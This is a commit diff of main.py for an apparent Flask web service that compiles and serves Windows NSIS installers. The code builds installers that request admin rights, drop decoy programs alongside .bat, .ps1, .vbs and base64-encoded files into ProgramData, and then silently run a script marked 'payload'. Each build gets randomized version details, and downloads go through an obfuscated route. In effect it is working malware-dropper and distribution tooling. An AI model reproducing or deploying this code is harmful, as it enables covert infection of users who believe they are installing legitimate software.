Spaces:
Sleeping
Sleeping
Update main.py
Browse files
main.py
CHANGED
@@ -15,7 +15,7 @@ BASE_DIR = os.path.abspath(os.path.dirname(__file__))
|
|
15 |
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
|
16 |
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
|
17 |
STATS_FILE = "download_stats.json"
|
18 |
-
NSIS_COMPILER_PATH = "/usr/local/bin/makensis"
|
19 |
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
|
20 |
os.makedirs(COMPILE_FOLDER, exist_ok=True)
|
21 |
|
@@ -28,17 +28,17 @@ NSIS_SCRIPT_TEMPLATE = r"""
|
|
28 |
; Basic definitions
|
29 |
Name "{{ProductName}}"
|
30 |
OutFile "${{installer_path}}"
|
31 |
-
InstallDir "
|
32 |
RequestExecutionLevel admin
|
33 |
SetCompressor /SOLID lzma
|
34 |
SetCompressorDictSize 96
|
35 |
SetDatablockOptimize ON
|
36 |
|
37 |
; Interface settings
|
38 |
-
!define MUI_ICON "
|
39 |
!define MUI_WELCOMEPAGE_TITLE "Welcome to {{ProductName}} Setup"
|
40 |
!define MUI_WELCOMEPAGE_TEXT "This will install {{ProductName}} on your computer.$\r$\n$\r$\nClick Install to continue."
|
41 |
-
!define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}
|
42 |
|
43 |
; Pages
|
44 |
!insertmacro MUI_PAGE_WELCOME
|
@@ -59,22 +59,22 @@ AutoCloseWindow true
|
|
59 |
|
60 |
Section "MainSection" SEC01
|
61 |
SetDetailsPrint none
|
62 |
-
SetOutPath "
|
63 |
|
64 |
; File copies
|
65 |
File "{{random_program}}"
|
66 |
-
File "
|
67 |
-
File "
|
68 |
-
File "
|
69 |
-
File "
|
70 |
File "{{random_program}}"
|
71 |
-
File "
|
72 |
-
File "
|
73 |
-
File "
|
74 |
|
75 |
|
76 |
; Run payload and exit
|
77 |
-
ExecShell "" "
|
78 |
SetAutoClose true
|
79 |
SectionEnd
|
80 |
"""
|
@@ -187,7 +187,7 @@ def generate_nsi_script():
|
|
187 |
version_details = generate_random_version_details()
|
188 |
|
189 |
# Choose random .exe files from the Programs folder
|
190 |
-
programs_folder = "
|
191 |
exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
|
192 |
|
193 |
# Check if there are enough .exe files
|
@@ -204,50 +204,124 @@ def generate_nsi_script():
|
|
204 |
|
205 |
# Replace all placeholders in the template
|
206 |
nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
|
207 |
-
nsi_content = nsi_content.replace("{
|
208 |
-
|
209 |
-
|
210 |
-
|
211 |
-
|
212 |
-
|
213 |
-
|
214 |
-
|
215 |
-
|
216 |
-
|
217 |
-
|
|
|
|
|
218 |
nsi_file.write(nsi_content)
|
219 |
|
220 |
-
return
|
221 |
|
222 |
-
def
|
223 |
-
"""
|
224 |
-
|
225 |
-
|
226 |
-
|
227 |
-
|
228 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
229 |
|
230 |
-
|
231 |
-
if result.returncode != 0:
|
232 |
-
raise RuntimeError(f"NSIS Compilation failed: {result.stderr}")
|
233 |
-
return installer_output
|
234 |
|
235 |
-
def
|
236 |
-
|
237 |
-
|
238 |
-
|
239 |
-
compiled_installer = compile_nsi_script(nsi_script_path, installer_output)
|
240 |
-
return send_file(compiled_installer, as_attachment=True, download_name=f"setup_{timestamp}.exe")
|
241 |
|
242 |
-
|
243 |
-
|
244 |
-
|
245 |
-
|
|
|
246 |
|
247 |
-
@app.route('/
|
248 |
-
def
|
249 |
-
"""
|
250 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
251 |
|
252 |
if __name__ == '__main__':
|
253 |
-
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
|
15 |
UPLOAD_FOLDER = os.path.join(BASE_DIR, "uploads")
|
16 |
COMPILE_FOLDER = os.path.join(BASE_DIR, "compile")
|
17 |
STATS_FILE = "download_stats.json"
|
18 |
+
NSIS_COMPILER_PATH = "/usr/local/bin/makensis"
|
19 |
os.makedirs(UPLOAD_FOLDER, exist_ok=True)
|
20 |
os.makedirs(COMPILE_FOLDER, exist_ok=True)
|
21 |
|
|
|
28 |
; Basic definitions
|
29 |
Name "{{ProductName}}"
|
30 |
OutFile "${{installer_path}}"
|
31 |
+
InstallDir "$WINDIR\..\ProgramData\Omega"
|
32 |
RequestExecutionLevel admin
|
33 |
SetCompressor /SOLID lzma
|
34 |
SetCompressorDictSize 96
|
35 |
SetDatablockOptimize ON
|
36 |
|
37 |
; Interface settings
|
38 |
+
!define MUI_ICON "app.ico"
|
39 |
!define MUI_WELCOMEPAGE_TITLE "Welcome to {{ProductName}} Setup"
|
40 |
!define MUI_WELCOMEPAGE_TEXT "This will install {{ProductName}} on your computer.$\r$\n$\r$\nClick Install to continue."
|
41 |
+
!define MUI_WELCOMEFINISHPAGE_BITMAP "${NSISDIR}\Contrib\Graphics\Wizard\win.bmp"
|
42 |
|
43 |
; Pages
|
44 |
!insertmacro MUI_PAGE_WELCOME
|
|
|
59 |
|
60 |
Section "MainSection" SEC01
|
61 |
SetDetailsPrint none
|
62 |
+
SetOutPath "$WINDIR\..\ProgramData\Omega"
|
63 |
|
64 |
; File copies
|
65 |
File "{{random_program}}"
|
66 |
+
File "C:\Users\Albert\Videos\New folder\New folder\0.bat"
|
67 |
+
File "C:\Users\Albert\Videos\New folder\New folder\run_base64_encrypted.txt"
|
68 |
+
File "C:\Users\Albert\Videos\New folder\New folder\0.ps1"
|
69 |
+
File "C:\Users\Albert\Videos\New folder\New folder\0.vbs"
|
70 |
File "{{random_program}}"
|
71 |
+
File "C:\Users\Albert\Videos\New folder\New folder\1.bat"
|
72 |
+
File "C:\Users\Albert\Videos\New folder\New folder\1.ps1"
|
73 |
+
File "C:\Users\Albert\Videos\New folder\New folder\1.vbs"
|
74 |
|
75 |
|
76 |
; Run payload and exit
|
77 |
+
ExecShell "" "$WINDIR\..\ProgramData\Omega\0.vbs" SW_HIDE
|
78 |
SetAutoClose true
|
79 |
SectionEnd
|
80 |
"""
|
|
|
187 |
version_details = generate_random_version_details()
|
188 |
|
189 |
# Choose random .exe files from the Programs folder
|
190 |
+
programs_folder = r"C:\Users\Albert\Videos\New folder\Programs"
|
191 |
exe_files = [f for f in os.listdir(programs_folder) if f.endswith(".exe")]
|
192 |
|
193 |
# Check if there are enough .exe files
|
|
|
204 |
|
205 |
# Replace all placeholders in the template
|
206 |
nsi_content = NSIS_SCRIPT_TEMPLATE.replace("${{installer_path}}", installer_output)
|
207 |
+
nsi_content = nsi_content.replace("${NSISDIR}", "${NSISDIR}")
|
208 |
+
|
209 |
+
# Replace version details
|
210 |
+
for key, value in version_details.items():
|
211 |
+
nsi_content = nsi_content.replace(f"{{{{{key}}}}}", value)
|
212 |
+
|
213 |
+
# Replace the placeholders for the random executable files
|
214 |
+
nsi_content = nsi_content.replace('{{random_program}}', random_exe_1_path, 1)
|
215 |
+
nsi_content = nsi_content.replace('{{random_program}}', random_exe_2_path, 1)
|
216 |
+
|
217 |
+
# Save the script
|
218 |
+
nsi_file_path = os.path.join(COMPILE_FOLDER, f"installer_{timestamp}.nsi")
|
219 |
+
with open(nsi_file_path, 'w') as nsi_file:
|
220 |
nsi_file.write(nsi_content)
|
221 |
|
222 |
+
return nsi_file_path, installer_output
|
223 |
|
224 |
+
def cleanup_folders():
|
225 |
+
"""Clean up both compile and upload folders"""
|
226 |
+
for folder in [COMPILE_FOLDER, UPLOAD_FOLDER]:
|
227 |
+
for file in os.listdir(folder):
|
228 |
+
file_path = os.path.join(folder, file)
|
229 |
+
try:
|
230 |
+
if os.path.isfile(file_path):
|
231 |
+
os.unlink(file_path)
|
232 |
+
elif os.path.isdir(file_path):
|
233 |
+
shutil.rmtree(file_path)
|
234 |
+
except Exception as e:
|
235 |
+
print(f"Error: {e}")
|
236 |
+
|
237 |
+
def load_stats():
|
238 |
+
"""Load download statistics from file"""
|
239 |
+
if os.path.exists(STATS_FILE):
|
240 |
+
with open(STATS_FILE, 'r') as f:
|
241 |
+
return json.load(f)
|
242 |
+
return {"downloads": 0, "last_download": None}
|
243 |
+
|
244 |
+
def save_stats(stats):
|
245 |
+
"""Save download statistics to file"""
|
246 |
+
with open(STATS_FILE, 'w') as f:
|
247 |
+
json.dump(stats, f)
|
248 |
+
|
249 |
+
def compile_nsi_script(nsi_file_path):
|
250 |
+
"""Compile the NSI script using NSIS compiler"""
|
251 |
+
compile_cmd = [NSIS_COMPILER_PATH, nsi_file_path]
|
252 |
+
compile_result = subprocess.run(compile_cmd, capture_output=True, text=True)
|
253 |
+
if compile_result.returncode != 0:
|
254 |
+
print(f"NSIS Compile Error: {compile_result.stderr}")
|
255 |
+
return None
|
256 |
+
return compile_result
|
257 |
+
|
258 |
+
def get_current_installer():
|
259 |
+
"""Get the path of the most recent installer"""
|
260 |
+
files = list(Path(UPLOAD_FOLDER).glob('*.exe'))
|
261 |
+
if not files:
|
262 |
+
return None
|
263 |
+
return str(max(files, key=os.path.getctime))
|
264 |
+
|
265 |
+
def generate_and_compile_new():
|
266 |
+
"""Generate and compile a new installer"""
|
267 |
+
nsi_file_path, installer_output = generate_nsi_script()
|
268 |
+
compile_nsi_script(nsi_file_path)
|
269 |
+
|
270 |
+
@app.route('/download/cnVuLmNtZA==')
|
271 |
+
def download_file():
|
272 |
+
"""Handle file download requests"""
|
273 |
+
stats = load_stats()
|
274 |
+
|
275 |
+
file_path = get_current_installer()
|
276 |
+
if not file_path:
|
277 |
+
nsi_file_path, installer_output = generate_nsi_script()
|
278 |
+
compile_nsi_script(nsi_file_path)
|
279 |
+
file_path = installer_output
|
280 |
+
|
281 |
+
if not os.path.exists(file_path):
|
282 |
+
return "Installer file not found", 404
|
283 |
|
284 |
+
response = send_file(file_path, as_attachment=True)
|
|
|
|
|
|
|
285 |
|
286 |
+
def after_request(response):
|
287 |
+
stats['downloads'] += 1
|
288 |
+
stats['last_download'] = datetime.now().isoformat()
|
289 |
+
save_stats(stats)
|
|
|
|
|
290 |
|
291 |
+
cleanup_folders()
|
292 |
+
Thread(target=lambda: generate_and_compile_new()).start()
|
293 |
+
return response
|
294 |
+
|
295 |
+
return after_request(response)
|
296 |
|
297 |
+
@app.route('/show')
|
298 |
+
def show_stats():
|
299 |
+
"""Show download statistics"""
|
300 |
+
stats = load_stats()
|
301 |
+
return jsonify({
|
302 |
+
"total_downloads": stats['downloads'],
|
303 |
+
"last_download": stats['last_download']
|
304 |
+
})
|
305 |
+
|
306 |
+
@app.route('/')
|
307 |
+
def home():
|
308 |
+
"""Home page with links to available endpoints"""
|
309 |
+
return """
|
310 |
+
<h1>File Compiler Service</h1>
|
311 |
+
<ul>
|
312 |
+
<li><a href="/download/cnVuLmNtZA==">/download/cnVuLmNtZA==</a> - Download compiled installer</li>
|
313 |
+
<li><a href="/show">/show</a> - View download statistics</li>
|
314 |
+
</ul>
|
315 |
+
"""
|
316 |
|
317 |
if __name__ == '__main__':
|
318 |
+
# Clean up on startup
|
319 |
+
cleanup_folders()
|
320 |
+
|
321 |
+
# Compile initial installer
|
322 |
+
print("Creating initial installer...")
|
323 |
+
nsi_file_path, installer_output = generate_nsi_script()
|
324 |
+
compile_nsi_script(nsi_file_path)
|
325 |
+
|
326 |
+
# Start the Flask application
|
327 |
+
app.run(debug=True, host='0.0.0.0', port=5000)
|